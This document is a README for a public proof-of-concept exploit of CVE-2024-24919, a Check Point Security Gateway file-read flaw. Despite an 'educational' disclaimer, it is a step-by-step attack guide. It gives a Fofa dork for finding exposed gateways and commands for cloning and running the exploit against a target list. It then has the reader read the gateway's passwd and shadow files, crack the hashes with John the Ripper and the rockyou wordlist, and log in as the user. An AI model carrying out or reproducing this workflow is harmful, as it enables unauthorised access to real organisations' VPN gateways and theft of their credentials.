Share
## https://sploitus.com/exploit?id=DD45D364-3465-53F5-9B61-3DF98E4CF159
# Check Point Security Gateways Information Disclosure - CVE-2024-24919

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.

**Read about it** — [CVE-2024-24919](https://nvd.nist.gov/vuln/detail/CVE-2024-24919)

> **Disclaimer**: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

## Getting Started

### Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

- **Fofa Dork**: `app=”Check_Point-SSL-Network-Extender”`
  
![Alt text](POC4.png)

First, clone the repository:

```bash
git clone https://github.com/verylazytech/CVE-2024-24919
```

Next chose your target and add it to list.txt file in this format:

- https://ip_address

Run the Exploit:

```bash
python3 CVE-2024-24919.py -l list.txt
```
Now There are 2 options of output:

Unsuccessful:

![Alt text](https://miro.medium.com/v2/resize:fit:640/format:webp/1*lCi1I_fctD6J38w6CFA09Q.png)

Successful:

![Alt text](POC.png)

Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):
```bash
unshadow passwd shadow > unshadowed.txt 
```
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```
![Alt text](POC3.png)

And now after we crack the hash we can login to the user!